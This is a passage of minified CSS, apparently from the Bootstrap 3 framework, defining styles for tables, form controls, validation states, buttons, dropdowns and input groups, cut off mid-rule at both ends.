d,.table>tfoot>tr.info>th,.table>tfoot>tr>td.info,.table>tfoot>tr>th.info,.table>thead>tr.info>td,.table>thead>tr.info>th,.table>thead>tr>td.info,.table>thead>tr>th.info{background-color:#d9edf7}.table-hover>tbody>tr.info:hover>td,.table-hover>tbody>tr.info:hover>th,.table-hover>tbody>tr:hover>.info,.table-hover>tbody>tr>td.info:hover,.table-hover>tbody>tr>th.info:hover{background-color:#c4e3f3}.table>tbody>tr.warning>td,.table>tbody>tr.warning>th,.table>tbody>tr>td.warning,.table>tbody>tr>th.warning,.table>tfoot>tr.warning>td,.table>tfoot>tr.warning>th,.table>tfoot>tr>td.warning,.table>tfoot>tr>th.warning,.table>thead>tr.warning>td,.table>thead>tr.warning>th,.table>thead>tr>td.warning,.table>thead>tr>th.warning{background-color:#fcf8e3}.table-hover>tbody>tr.warning:hover>td,.table-hover>tbody>tr.warning:hover>th,.table-hover>tbody>tr:hover>.warning,.table-hover>tbody>tr>td.warning:hover,.table-hover>tbody>tr>th.warning:hover{background-color:#faf2cc}.table>tbody>tr.danger>td,.table>tbody>tr.danger>th,.table>tbody>tr>td.danger,.table>tbody>tr>th.danger,.table>tfoot>tr.danger>td,.table>tfoot>tr.danger>th,.table>tfoot>tr>td.danger,.table>tfoot>tr>th.danger,.table>thead>tr.danger>td,.table>thead>tr.danger>th,.table>thead>tr>td.danger,.table>thead>tr>th.danger{background-color:#f2dede}.table-hover>tbody>tr.danger:hover>td,.table-hover>tbody>tr.danger:hover>th,.table-hover>tbody>tr:hover>.danger,.table-hover>tbody>tr>td.danger:hover,.table-hover>tbody>tr>th.danger:hover{background-color:#ebcccc}.table-responsive{min-height:.01%;overflow-x:auto}@media screen and (max-width:767px){.table-responsive{width:100%;margin-bottom:15px;overflow-y:hidden;-ms-overflow-style:-ms-autohiding-scrollbar;border:1px solid #ddd}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>tbody>tr>td,.table-responsive>.table>tbody>tr>th,.table-responsive>.table>tfoot>tr>td,.table-responsive>.table>tfoot>tr>th,.table-responsive>.table>thead>tr>td,.table-responsive>.table>thead>tr>th{white-space:nowrap}.table-responsive>.table-bordered{border:0}.table-responsive>.table-bordered>tbody>tr>td:first-child,.table-responsive>.table-bordered>tbody>tr>th:first-child,.table-responsive>.table-bordered>tfoot>tr>td:first-child,.table-responsive>.table-bordered>tfoot>tr>th:first-child,.table-responsive>.table-bordered>thead>tr>td:first-child,.table-responsive>.table-bordered>thead>tr>th:first-child{border-left:0}.table-responsive>.table-bordered>tbody>tr>td:last-child,.table-responsive>.table-bordered>tbody>tr>th:last-child,.table-responsive>.table-bordered>tfoot>tr>td:last-child,.table-responsive>.table-bordered>tfoot>tr>th:last-child,.table-responsive>.table-bordered>thead>tr>td:last-child,.table-responsive>.table-bordered>thead>tr>th:last-child{border-right:0}.table-responsive>.table-bordered>tbody>tr:last-child>td,.table-responsive>.table-bordered>tbody>tr:last-child>th,.table-responsive>.table-bordered>tfoot>tr:last-child>td,.table-responsive>.table-bordered>tfoot>tr:last-child>th{border-bottom:0}}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:inherit;color:#333;border:0;border-bottom:1px solid #e5e5e5}label{display:inline-block;max-width:100%;margin-bottom:5px;font-weight:700}input[type=search]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}input[type=checkbox],input[type=radio]{margin:4px 0 0;margin-top:1px\9;line-height:normal}input[type=file]{display:block}input[type=range]{display:block;width:100%}select[multiple],select[size]{height:auto}input[type=file]:focus,input[type=checkbox]:focus,input[type=radio]:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}output{display:block;padding-top:7px;font-size:14px;line-height:1.42857143;color:#555}.form-control{display:block;width:100%;height:34px;padding:6px 12px;font-size:14px;line-height:1.42857143;color:#555;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-webkit-transition:border-color ease-in-out .15s,-webkit-box-shadow ease-in-out .15s;-o-transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s;transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s}.form-control:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6)}.form-control::-moz-placeholder{color:#999;opacity:1}.form-control:-ms-input-placeholder{color:#999}.form-control::-webkit-input-placeholder{color:#999}.form-control::-ms-expand{background-color:transparent;border:0}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{background-color:#eee;opacity:1}.form-control[disabled],fieldset[disabled] .form-control{cursor:not-allowed}textarea.form-control{height:auto}input[type=search]{-webkit-appearance:none}@media screen and (-webkit-min-device-pixel-ratio:0){input[type=date].form-control,input[type=time].form-control,input[type=datetime-local].form-control,input[type=month].form-control{line-height:34px}.input-group-sm input[type=date],.input-group-sm input[type=time],.input-group-sm input[type=datetime-local],.input-group-sm input[type=month],input[type=date].input-sm,input[type=time].input-sm,input[type=datetime-local].input-sm,input[type=month].input-sm{line-height:30px}.input-group-lg input[type=date],.input-group-lg input[type=time],.input-group-lg input[type=datetime-local],.input-group-lg input[type=month],input[type=date].input-lg,input[type=time].input-lg,input[type=datetime-local].input-lg,input[type=month].input-lg{line-height:46px}}.form-group{margin-bottom:15px}.checkbox,.radio{position:relative;display:block;margin-top:10px;margin-bottom:10px}.checkbox label,.radio label{min-height:20px;padding-left:20px;margin-bottom:0;font-weight:400;cursor:pointer}.checkbox input[type=checkbox],.checkbox-inline input[type=checkbox],.radio input[type=radio],.radio-inline input[type=radio]{position:absolute;margin-top:4px\9;margin-left:-20px}.checkbox+.checkbox,.radio+.radio{margin-top:-5px}.checkbox-inline,.radio-inline{position:relative;display:inline-block;padding-left:20px;margin-bottom:0;font-weight:400;vertical-align:middle;cursor:pointer}.checkbox-inline+.checkbox-inline,.radio-inline+.radio-inline{margin-top:0;margin-left:10px}fieldset[disabled] input[type=checkbox],fieldset[disabled] input[type=radio],input[type=checkbox].disabled,input[type=checkbox][disabled],input[type=radio].disabled,input[type=radio][disabled]{cursor:not-allowed}.checkbox-inline.disabled,.radio-inline.disabled,fieldset[disabled] .checkbox-inline,fieldset[disabled] .radio-inline{cursor:not-allowed}.checkbox.disabled label,.radio.disabled label,fieldset[disabled] .checkbox label,fieldset[disabled] .radio label{cursor:not-allowed}.form-control-static{min-height:34px;padding-top:7px;padding-bottom:7px;margin-bottom:0}.form-control-static.input-lg,.form-control-static.input-sm{padding-right:0;padding-left:0}.input-sm{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}select.input-sm{height:30px;line-height:30px}select[multiple].input-sm,textarea.input-sm{height:auto}.form-group-sm .form-control{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.form-group-sm select.form-control{height:30px;line-height:30px}.form-group-sm select[multiple].form-control,.form-group-sm textarea.form-control{height:auto}.form-group-sm .form-control-static{height:30px;min-height:32px;padding:6px 10px;font-size:12px;line-height:1.5}.input-lg{height:46px;padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}select.input-lg{height:46px;line-height:46px}select[multiple].input-lg,textarea.input-lg{height:auto}.form-group-lg .form-control{height:46px;padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}.form-group-lg select.form-control{height:46px;line-height:46px}.form-group-lg select[multiple].form-control,.form-group-lg textarea.form-control{height:auto}.form-group-lg .form-control-static{height:46px;min-height:38px;padding:11px 16px;font-size:18px;line-height:1.3333333}.has-feedback{position:relative}.has-feedback .form-control{padding-right:42.5px}.form-control-feedback{position:absolute;top:0;right:0;z-index:2;display:block;width:34px;height:34px;line-height:34px;text-align:center;pointer-events:none}.form-group-lg .form-control+.form-control-feedback,.input-group-lg+.form-control-feedback,.input-lg+.form-control-feedback{width:46px;height:46px;line-height:46px}.form-group-sm .form-control+.form-control-feedback,.input-group-sm+.form-control-feedback,.input-sm+.form-control-feedback{width:30px;height:30px;line-height:30px}.has-success .checkbox,.has-success .checkbox-inline,.has-success .control-label,.has-success .help-block,.has-success .radio,.has-success .radio-inline,.has-success.checkbox label,.has-success.checkbox-inline label,.has-success.radio label,.has-success.radio-inline label{color:#3c763d}.has-success .form-control{border-color:#3c763d;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-success .form-control:focus{border-color:#2b542c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168}.has-success .input-group-addon{color:#3c763d;background-color:#dff0d8;border-color:#3c763d}.has-success .form-control-feedback{color:#3c763d}.has-warning .checkbox,.has-warning .checkbox-inline,.has-warning .control-label,.has-warning .help-block,.has-warning .radio,.has-warning .radio-inline,.has-warning.checkbox label,.has-warning.checkbox-inline label,.has-warning.radio label,.has-warning.radio-inline label{color:#8a6d3b}.has-warning .form-control{border-color:#8a6d3b;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-warning .form-control:focus{border-color:#66512c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b}.has-warning .input-group-addon{color:#8a6d3b;background-color:#fcf8e3;border-color:#8a6d3b}.has-warning .form-control-feedback{color:#8a6d3b}.has-error .checkbox,.has-error .checkbox-inline,.has-error .control-label,.has-error .help-block,.has-error .radio,.has-error .radio-inline,.has-error.checkbox label,.has-error.checkbox-inline label,.has-error.radio label,.has-error.radio-inline label{color:#a94442}.has-error .form-control{border-color:#a94442;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-error .form-control:focus{border-color:#843534;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483}.has-error .input-group-addon{color:#a94442;background-color:#f2dede;border-color:#a94442}.has-error .form-control-feedback{color:#a94442}.has-feedback label~.form-control-feedback{top:25px}.has-feedback label.sr-only~.form-control-feedback{top:0}.help-block{display:block;margin-top:5px;margin-bottom:10px;color:#737373}@media(min-width:768px){.form-inline .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-static{display:inline-block}.form-inline .input-group{display:inline-table;vertical-align:middle}.form-inline .input-group .form-control,.form-inline .input-group .input-group-addon,.form-inline .input-group .input-group-btn{width:auto}.form-inline .input-group>.form-control{width:100%}.form-inline .control-label{margin-bottom:0;vertical-align:middle}.form-inline .checkbox,.form-inline .radio{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.form-inline .checkbox label,.form-inline .radio label{padding-left:0}.form-inline .checkbox input[type=checkbox],.form-inline .radio input[type=radio]{position:relative;margin-left:0}.form-inline .has-feedback .form-control-feedback{top:0}}.form-horizontal .checkbox,.form-horizontal .checkbox-inline,.form-horizontal .radio,.form-horizontal .radio-inline{padding-top:7px;margin-top:0;margin-bottom:0}.form-horizontal .checkbox,.form-horizontal .radio{min-height:27px}.form-horizontal .form-group{margin-right:-15px;margin-left:-15px}@media(min-width:768px){.form-horizontal .control-label{padding-top:7px;margin-bottom:0;text-align:right}}.form-horizontal .has-feedback .form-control-feedback{right:15px}@media(min-width:768px){.form-horizontal .form-group-lg .control-label{padding-top:11px;font-size:18px}}@media(min-width:768px){.form-horizontal .form-group-sm .control-label{padding-top:6px;font-size:12px}}.btn{display:inline-block;padding:6px 12px;margin-bottom:0;font-size:14px;font-weight:400;line-height:1.42857143;text-align:center;white-space:nowrap;vertical-align:middle;-ms-touch-action:manipulation;touch-action:manipulation;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-image:none;border:1px solid transparent;border-radius:4px}.btn.active.focus,.btn.active:focus,.btn.focus,.btn:active.focus,.btn:active:focus,.btn:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn.focus,.btn:focus,.btn:hover{color:#333;text-decoration:none}.btn.active,.btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn.disabled,.btn[disabled],fieldset[disabled] .btn{cursor:not-allowed;filter:alpha(opacity=65);-webkit-box-shadow:none;box-shadow:none;opacity:.65}a.btn.disabled,fieldset[disabled] a.btn{pointer-events:none}.btn-default{color:#333;background-color:#fff;border-color:#ccc}.btn-default.focus,.btn-default:focus{color:#333;background-color:#e6e6e6;border-color:#8c8c8c}.btn-default:hover{color:#333;background-color:#e6e6e6;border-color:#adadad}.btn-default.active,.btn-default:active,.open>.dropdown-toggle.btn-default{color:#333;background-color:#e6e6e6;border-color:#adadad}.btn-default.active.focus,.btn-default.active:focus,.btn-default.active:hover,.btn-default:active.focus,.btn-default:active:focus,.btn-default:active:hover,.open>.dropdown-toggle.btn-default.focus,.open>.dropdown-toggle.btn-default:focus,.open>.dropdown-toggle.btn-default:hover{color:#333;background-color:#d4d4d4;border-color:#8c8c8c}.btn-default.active,.btn-default:active,.open>.dropdown-toggle.btn-default{background-image:none}.btn-default.disabled.focus,.btn-default.disabled:focus,.btn-default.disabled:hover,.btn-default[disabled].focus,.btn-default[disabled]:focus,.btn-default[disabled]:hover,fieldset[disabled] .btn-default.focus,fieldset[disabled] .btn-default:focus,fieldset[disabled] .btn-default:hover{background-color:#fff;border-color:#ccc}.btn-default .badge{color:#fff;background-color:#333}.btn-primary{color:#fff;background-color:#337ab7;border-color:#2e6da4}.btn-primary.focus,.btn-primary:focus{color:#fff;background-color:#286090;border-color:#122b40}.btn-primary:hover{color:#fff;background-color:#286090;border-color:#204d74}.btn-primary.active,.btn-primary:active,.open>.dropdown-toggle.btn-primary{color:#fff;background-color:#286090;border-color:#204d74}.btn-primary.active.focus,.btn-primary.active:focus,.btn-primary.active:hover,.btn-primary:active.focus,.btn-primary:active:focus,.btn-primary:active:hover,.open>.dropdown-toggle.btn-primary.focus,.open>.dropdown-toggle.btn-primary:focus,.open>.dropdown-toggle.btn-primary:hover{color:#fff;background-color:#204d74;border-color:#122b40}.btn-primary.active,.btn-primary:active,.open>.dropdown-toggle.btn-primary{background-image:none}.btn-primary.disabled.focus,.btn-primary.disabled:focus,.btn-primary.disabled:hover,.btn-primary[disabled].focus,.btn-primary[disabled]:focus,.btn-primary[disabled]:hover,fieldset[disabled] .btn-primary.focus,fieldset[disabled] .btn-primary:focus,fieldset[disabled] .btn-primary:hover{background-color:#337ab7;border-color:#2e6da4}.btn-primary .badge{color:#337ab7;background-color:#fff}.btn-success{color:#fff;background-color:#5cb85c;border-color:#4cae4c}.btn-success.focus,.btn-success:focus{color:#fff;background-color:#449d44;border-color:#255625}.btn-success:hover{color:#fff;background-color:#449d44;border-color:#398439}.btn-success.active,.btn-success:active,.open>.dropdown-toggle.btn-success{color:#fff;background-color:#449d44;border-color:#398439}.btn-success.active.focus,.btn-success.active:focus,.btn-success.active:hover,.btn-success:active.focus,.btn-success:active:focus,.btn-success:active:hover,.open>.dropdown-toggle.btn-success.focus,.open>.dropdown-toggle.btn-success:focus,.open>.dropdown-toggle.btn-success:hover{color:#fff;background-color:#398439;border-color:#255625}.btn-success.active,.btn-success:active,.open>.dropdown-toggle.btn-success{background-image:none}.btn-success.disabled.focus,.btn-success.disabled:focus,.btn-success.disabled:hover,.btn-success[disabled].focus,.btn-success[disabled]:focus,.btn-success[disabled]:hover,fieldset[disabled] .btn-success.focus,fieldset[disabled] .btn-success:focus,fieldset[disabled] .btn-success:hover{background-color:#5cb85c;border-color:#4cae4c}.btn-success .badge{color:#5cb85c;background-color:#fff}.btn-info{color:#fff;background-color:#5bc0de;border-color:#46b8da}.btn-info.focus,.btn-info:focus{color:#fff;background-color:#31b0d5;border-color:#1b6d85}.btn-info:hover{color:#fff;background-color:#31b0d5;border-color:#269abc}.btn-info.active,.btn-info:active,.open>.dropdown-toggle.btn-info{color:#fff;background-color:#31b0d5;border-color:#269abc}.btn-info.active.focus,.btn-info.active:focus,.btn-info.active:hover,.btn-info:active.focus,.btn-info:active:focus,.btn-info:active:hover,.open>.dropdown-toggle.btn-info.focus,.open>.dropdown-toggle.btn-info:focus,.open>.dropdown-toggle.btn-info:hover{color:#fff;background-color:#269abc;border-color:#1b6d85}.btn-info.active,.btn-info:active,.open>.dropdown-toggle.btn-info{background-image:none}.btn-info.disabled.focus,.btn-info.disabled:focus,.btn-info.disabled:hover,.btn-info[disabled].focus,.btn-info[disabled]:focus,.btn-info[disabled]:hover,fieldset[disabled] .btn-info.focus,fieldset[disabled] .btn-info:focus,fieldset[disabled] .btn-info:hover{background-color:#5bc0de;border-color:#46b8da}.btn-info .badge{color:#5bc0de;background-color:#fff}.btn-warning{color:#fff;background-color:#f0ad4e;border-color:#eea236}.btn-warning.focus,.btn-warning:focus{color:#fff;background-color:#ec971f;border-color:#985f0d}.btn-warning:hover{color:#fff;background-color:#ec971f;border-color:#d58512}.btn-warning.active,.btn-warning:active,.open>.dropdown-toggle.btn-warning{color:#fff;background-color:#ec971f;border-color:#d58512}.btn-warning.active.focus,.btn-warning.active:focus,.btn-warning.active:hover,.btn-warning:active.focus,.btn-warning:active:focus,.btn-warning:active:hover,.open>.dropdown-toggle.btn-warning.focus,.open>.dropdown-toggle.btn-warning:focus,.open>.dropdown-toggle.btn-warning:hover{color:#fff;background-color:#d58512;border-color:#985f0d}.btn-warning.active,.btn-warning:active,.open>.dropdown-toggle.btn-warning{background-image:none}.btn-warning.disabled.focus,.btn-warning.disabled:focus,.btn-warning.disabled:hover,.btn-warning[disabled].focus,.btn-warning[disabled]:focus,.btn-warning[disabled]:hover,fieldset[disabled] .btn-warning.focus,fieldset[disabled] .btn-warning:focus,fieldset[disabled] .btn-warning:hover{background-color:#f0ad4e;border-color:#eea236}.btn-warning .badge{color:#f0ad4e;background-color:#fff}.btn-danger{color:#fff;background-color:#d9534f;border-color:#d43f3a}.btn-danger.focus,.btn-danger:focus{color:#fff;background-color:#c9302c;border-color:#761c19}.btn-danger:hover{color:#fff;background-color:#c9302c;border-color:#ac2925}.btn-danger.active,.btn-danger:active,.open>.dropdown-toggle.btn-danger{color:#fff;background-color:#c9302c;border-color:#ac2925}.btn-danger.active.focus,.btn-danger.active:focus,.btn-danger.active:hover,.btn-danger:active.focus,.btn-danger:active:focus,.btn-danger:active:hover,.open>.dropdown-toggle.btn-danger.focus,.open>.dropdown-toggle.btn-danger:focus,.open>.dropdown-toggle.btn-danger:hover{color:#fff;background-color:#ac2925;border-color:#761c19}.btn-danger.active,.btn-danger:active,.open>.dropdown-toggle.btn-danger{background-image:none}.btn-danger.disabled.focus,.btn-danger.disabled:focus,.btn-danger.disabled:hover,.btn-danger[disabled].focus,.btn-danger[disabled]:focus,.btn-danger[disabled]:hover,fieldset[disabled] .btn-danger.focus,fieldset[disabled] .btn-danger:focus,fieldset[disabled] .btn-danger:hover{background-color:#d9534f;border-color:#d43f3a}.btn-danger .badge{color:#d9534f;background-color:#fff}.btn-link{font-weight:400;color:#337ab7;border-radius:0}.btn-link,.btn-link.active,.btn-link:active,.btn-link[disabled],fieldset[disabled] .btn-link{background-color:transparent;-webkit-box-shadow:none;box-shadow:none}.btn-link,.btn-link:active,.btn-link:focus,.btn-link:hover{border-color:transparent}.btn-link:focus,.btn-link:hover{color:#23527c;text-decoration:underline;background-color:transparent}.btn-link[disabled]:focus,.btn-link[disabled]:hover,fieldset[disabled] .btn-link:focus,fieldset[disabled] .btn-link:hover{color:#777;text-decoration:none}.btn-group-lg>.btn,.btn-lg{padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}.btn-group-sm>.btn,.btn-sm{padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.btn-group-xs>.btn,.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;border-radius:3px}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:5px}input[type=button].btn-block,input[type=reset].btn-block,input[type=submit].btn-block{width:100%}.fade{opacity:0;-webkit-transition:opacity .15s linear;-o-transition:opacity .15s linear;transition:opacity .15s linear}.fade.in{opacity:1}.collapse{display:none}.collapse.in{display:block}tr.collapse.in{display:table-row}tbody.collapse.in{display:table-row-group}.collapsing{position:relative;height:0;overflow:hidden;-webkit-transition-timing-function:ease;-o-transition-timing-function:ease;transition-timing-function:ease;-webkit-transition-duration:.35s;-o-transition-duration:.35s;transition-duration:.35s;-webkit-transition-property:height,visibility;-o-transition-property:height,visibility;transition-property:height,visibility}.caret{display:inline-block;width:0;height:0;margin-left:2px;vertical-align:middle;border-top:4px dashed;border-top:4px solid\9;border-right:4px solid transparent;border-left:4px solid transparent}.dropdown,.dropup{position:relative}.dropdown-toggle:focus{outline:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;font-size:14px;text-align:left;list-style:none;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #ccc;border:1px solid rgba(0,0,0,.15);border-radius:4px;-webkit-box-shadow:0 6px 12px rgba(0,0,0,.175);box-shadow:0 6px 12px rgba(0,0,0,.175)}.dropdown-menu.pull-right{right:0;left:auto}.dropdown-menu .divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.dropdown-menu>li>a{display:block;padding:3px 20px;clear:both;font-weight:400;line-height:1.42857143;color:#333;white-space:nowrap}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{color:#262626;text-decoration:none;background-color:#f5f5f5}.dropdown-menu>.active>a,.dropdown-menu>.active>a:focus,.dropdown-menu>.active>a:hover{color:#fff;text-decoration:none;background-color:#337ab7;outline:0}.dropdown-menu>.disabled>a,.dropdown-menu>.disabled>a:focus,.dropdown-menu>.disabled>a:hover{color:#777}.dropdown-menu>.disabled>a:focus,.dropdown-menu>.disabled>a:hover{text-decoration:none;cursor:not-allowed;background-color:transparent;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.open>.dropdown-menu{display:block}.open>a{outline:0}.dropdown-menu-right{right:0;left:auto}.dropdown-menu-left{right:auto;left:0}.dropdown-header{display:block;padding:3px 20px;font-size:12px;line-height:1.42857143;color:#777;white-space:nowrap}.dropdown-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:990}.pull-right>.dropdown-menu{right:0;left:auto}.dropup .caret,.navbar-fixed-bottom .dropdown .caret{content:"";border-top:0;border-bottom:4px dashed;border-bottom:4px solid\9}.dropup .dropdown-menu,.navbar-fixed-bottom .dropdown .dropdown-menu{top:auto;bottom:100%;margin-bottom:2px}@media(min-width:768px){.navbar-right .dropdown-menu{right:0;left:auto}.navbar-right .dropdown-menu-left{right:auto;left:0}}.btn-group,.btn-group-vertical{position:relative;display:inline-block;vertical-align:middle}.btn-group-vertical>.btn,.btn-group>.btn{position:relative;float:left}.btn-group-vertical>.btn.active,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn:focus,.btn-group-vertical>.btn:hover,.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus,.btn-group>.btn:hover{z-index:2}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group{margin-left:-1px}.btn-toolbar{margin-left:-5px}.btn-toolbar .btn,.btn-toolbar .btn-group,.btn-toolbar .input-group{float:left}.btn-toolbar>.btn,.btn-toolbar>.btn-group,.btn-toolbar>.input-group{margin-left:5px}.btn-group>.btn:not(:first-child):not(:last-child):not(.dropdown-toggle){border-radius:0}.btn-group>.btn:first-child{margin-left:0}.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn:last-child:not(:first-child),.btn-group>.dropdown-toggle:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.btn-group>.btn-group{float:left}.btn-group>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:last-child:not(:first-child)>.btn:first-child{border-top-left-radius:0;border-bottom-left-radius:0}.btn-group .dropdown-toggle:active,.btn-group.open .dropdown-toggle{outline:0}.btn-group>.btn+.dropdown-toggle{padding-right:8px;padding-left:8px}.btn-group>.btn-lg+.dropdown-toggle{padding-right:12px;padding-left:12px}.btn-group.open .dropdown-toggle{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-group.open .dropdown-toggle.btn-link{-webkit-box-shadow:none;box-shadow:none}.btn .caret{margin-left:0}.btn-lg .caret{border-width:5px 5px 0;border-bottom-width:0}.dropup .btn-lg .caret{border-width:0 5px 5px}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group,.btn-group-vertical>.btn-group>.btn{display:block;float:none;width:100%;max-width:100%}.btn-group-vertical>.btn-group>.btn{float:none}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-1px;margin-left:0}.btn-group-vertical>.btn:not(:first-child):not(:last-child){border-radius:0}.btn-group-vertical>.btn:first-child:not(:last-child){border-top-left-radius:4px;border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn:last-child:not(:first-child){border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:4px;border-bottom-left-radius:4px}.btn-group-vertical>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group-vertical>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group-vertical>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:last-child:not(:first-child)>.btn:first-child{border-top-left-radius:0;border-top-right-radius:0}.btn-group-justified{display:table;width:100%;table-layout:fixed;border-collapse:separate}.btn-group-justified>.btn,.btn-group-justified>.btn-group{display:table-cell;float:none;width:1%}.btn-group-justified>.btn-group .btn{width:100%}.btn-group-justified>.btn-group .dropdown-menu{left:auto}[data-toggle=buttons]>.btn input[type=checkbox],[data-toggle=buttons]>.btn input[type=radio],[data-toggle=buttons]>.btn-group>.btn input[type=checkbox],[data-toggle=buttons]>.btn-group>.btn input[type=radio]{position:absolute;clip:rect(0,0,0,0);pointer-events:none}.input-group{position:relative;display:table;border-collapse:separate}.input-group[class*=col-]{float:none;padding-right:0;padding-left:0}.input-group .form-control{position:relative;z-index:2;float:left;width:100%;margin-bottom:0}.input-group .form-control:focus{z-index:3}.input-group-lg>.form-control,.input-group-lg>.input-group-addon,.input-group-lg>.input-group-btn>.btn{height:46px;padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}select.input-group-lg>.form-control,select.input-group-lg>.input-group-addon,select.input-group-lg>.input-group-btn>.btn{height:46px;line-height:46px}select[multiple].input-group-lg>.form-control,select[multiple].input-group-lg>.input-group-addon,select[multiple].input-group-lg>.input-group-btn>.btn,textarea.input-group-lg>.form-control,textarea.input-group-lg>.input-group-addon,textarea.input-group-lg>.input-group-btn>.btn{height:auto}.input-group-sm>.form-control,.input-group-sm>.input-group-addon,.input-group-sm>.input-group-btn>.btn{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}select.input-group-sm>.form-control,select.input-group-sm>.input-group-addon,select.input-group-sm>.input-group-btn>.btn{height:30px;line-height:30px}select[multiple].input-group-sm>.form-control,select[multiple].input-group-sm>.input-group-addon,select[multiple].input-group-sm>.input-group-btn>.btn,textarea.input-group-sm>.form-control,textarea.input-group-sm>.input-group-addon,textarea.input-group-sm>.input-group-btn>.btn{height:auto}.input-group .form-control,.input-group-addon,.input-group-btn{display:table-cell}.input-group .form-control:not(:first-child):not(:last-child),.input-group-addon:not(:first-child):not(:last-child),.input-group-btn:not(:first-child):not(:last-child){border-radius:0}.input-group-addon,.input-group-btn{width:1%;white-space:nowrap;vertical-align:middle}.input-group-addon{padding:6px 12px;font-size:14px;font-weight:400;line-height:1;color:#555;text-align:center;background-color:#eee;border:1px solid #ccc;border-radius:4px}.input-group-addon.input-sm{padding:5px 10px;font-size:12px;border-radius:3px}.input-group-addon.input-lg{padding:10px 16px;font-size:18px;border-radius:6px}.input-group-addon input[type=checkbox],.input-group-addon input[type=radio]{margin-top:0}.input-group .form-control:first-child,.input-group-addon:first-child,.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group>.btn,.input-group-btn:first-child>.dropdown-toggle,.input-group-btn:last-child>.btn-group:not(:last-child)>.btn,.input-group-btn:last-child>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.input-group-addon:first-child{border-right:0}.input-group 